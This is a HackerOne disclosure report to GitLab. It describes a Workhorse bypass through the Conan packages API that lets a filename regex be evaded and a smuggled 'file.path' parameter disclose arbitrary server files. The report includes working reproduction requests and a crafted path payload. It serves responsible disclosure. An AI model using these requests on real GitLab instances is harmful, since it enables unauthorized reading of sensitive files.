Workhorse bypass by using Conan Repository leading to file disclosures
HackerOne report #923027 by ledz1996
on 2020-07-14, assigned to @jeremymatos:
Summary
There exists a vulnerability in Conan packages API that could lead to sensitive file disclosure. Similar to #908796 and #876998
This is due to invalid validation of Grape
First of all this regex can be bypass if adding additional character to the end:
lib/gitlab/regex.rb
module Regex
module Packages
CONAN_RECIPE_FILES = %w[conanfile.py conanmanifest.txt].freeze
CONAN_PACKAGE_FILES = %w[conaninfo.txt conanmanifest.txt conan_package.tgz].freeze
def conan_file_name_regex
[@]conan_file_name_regex ||=
%r{\A#{(CONAN_RECIPE_FILES + CONAN_PACKAGE_FILES).join("|")}\z}.freeze
end
It is used in
ee/lib/api/conan_packages.rb
params do
requires :conan_package_reference, type: String, desc: 'Conan Package ID'
requires :package_revision, type: String, desc: 'Conan Package Revision'
requires :file_name, type: String, desc: 'Package file name', regexp: Gitlab::Regex.conan_file_name_regex
end
namespace 'package/:conan_package_reference/:package_revision/:file_name', requirements: FILE_NAME_REQUIREMENTS do
desc 'Download package files' do
detail 'This feature was introduced in GitLab 12.5'
end
route_setting :authentication, job_token_allowed: true
get do
download_package_file(:package_file)
end
The following string would match the condition regexp: Gitlab::Regex.conan_file_name_regex
:
conanfile.pytestsetsetsetsetsetsetsetest/./.
Additionally because of the multiple usage of validation the 2nd condition requirements: FILE_NAME_REQUIREMENTS
seem to be ignored probably of Grape bug
so the following string would match the condition
conanfile.py.git%2fgit-upload-pack
Because Workhorse literally Clean the URL before comparing with all the predefined rules, so the following URL
POST /api/v4/packages/conan/v1/files/Hello/0.1/rrr+test_project/test/0/package/0ab9fcf606068d4347207cc29edd400ceccbc944/0/conanfile.py.git%2fgit-upload-pack
internal/upstream/routes.go
route("POST", gitProjectPattern+`git-upload-pack\z`, contentEncodingHandler(git.UploadPack(api)), withMatcher(isContentType("application/x-git-upload-pack-request"))),
This would allow me to slip in file.path
for Creating UploadedFile
Steps to reproduce
- Get a Private-Token for the API usage
- Send the following sample request to get a Bearer token for Conan APIs
GET /api/v4/packages/conan/v1/users/authenticate HTTP/1.1
Host: gitlab.example.vm
User-Agent: Conan/1.25.2 (Python 3.6.9) python-requests/2.23.0
Accept: */*
Connection: close
X-Client-Anonymous-Id: 6f13b862f0ec81ebc7adb821fb111486d7228df7
X-Client-Id: rrr
Authorization: Basic cnJyOk1uWHNfdzdHenFRUUxGdHNjQmFp
cnJyOk1uWHNfdzdHenFRUUxGdHNjQmFp
is base64 of username:token
3. For testing create a file named /tmp/test.hehe
as git
user in gitlab instance.
4. Send the following request with replacement:
- to be replaced into +. For example if you want to push the package into project
temp
of usertest123
it would betemp+test123
- to be replaced into token get from the 2nd step.
POST /api/v4/packages/conan/v1/files/Hello/0.1/<project-syntax>/test/0/package/0ab9fcf606068d4347207cc29edd400ceccbc944/0/conanfile.py.git%2fgit-upload-pack?_method=put&&file.path=/tmp/test.hehe HTTP/1.1
X-HTTP-Method-Override: put
Host: gitlab.example.vm
User-Agent: Conan/1.25.2 (Python 3.6.9) python-requests/2.23.0
X-Checksum-Sha1: 50e8c96c3f54fe17d5b23370da21df095e16bcb2
Content-Length: 148
Authorization: Bearer <bearer-token>
Content-Type: application/x-git-upload-pack-request
Accept: application/x-git-upload-pack-result
Git-Protocol: version=2
Connection: close
0014command=ls-refs
0014agent=git/2.26.200010009peel
000csymrefs
0014ref-prefix HEAD
001bref-prefix refs/heads/
001aref-prefix refs/tags/
0000
- Content of
/tmp/test.hehe
will be available in the Package Registry section of the
bandicam_2020-07-14_10-43-45-341.mp4
Prepared a video for this: gitlab-workhr-poc1.PNG
Results of GitLab environment info
System information
System: Ubuntu 16.04
Proxy: no
Current User: git
Using RVM: no
Ruby Version: 2.6.6p146
Gem Version: 2.7.10
Bundler Version:1.17.3
Rake Version: 12.3.3
Redis Version: 5.0.9
Git Version: 2.27.0
Sidekiq Version:5.2.7
Go Version: unknown
GitLab information
Version: 13.1.3-ee
Revision: 68484131370
Directory: /opt/gitlab/embedded/service/gitlab-rails
DB Adapter: PostgreSQL
DB Version: 11.7
URL: http://gitlab.example.vm
HTTP Clone URL: http://gitlab.example.vm/some-group/some-project.git
SSH Clone URL: git@gitlab.example.vm:some-group/some-project.git
Elasticsearch: no
Geo: no
Using LDAP: no
Using Omniauth: yes
Omniauth Providers: saml
GitLab Shell
Version: 13.3.0
Repository storage paths:
- default: /var/opt/gitlab/git-data/repositories
GitLab Shell path: /opt/gitlab/embedded/service/gitlab-shell
Git: /opt/gitlab/embedded/bin/git
Impact
Workhorse bypass to use UploadedFile to disclose any file within the allowed path.
Attachments
Warning: Attachments received through HackerOne, please exercise caution!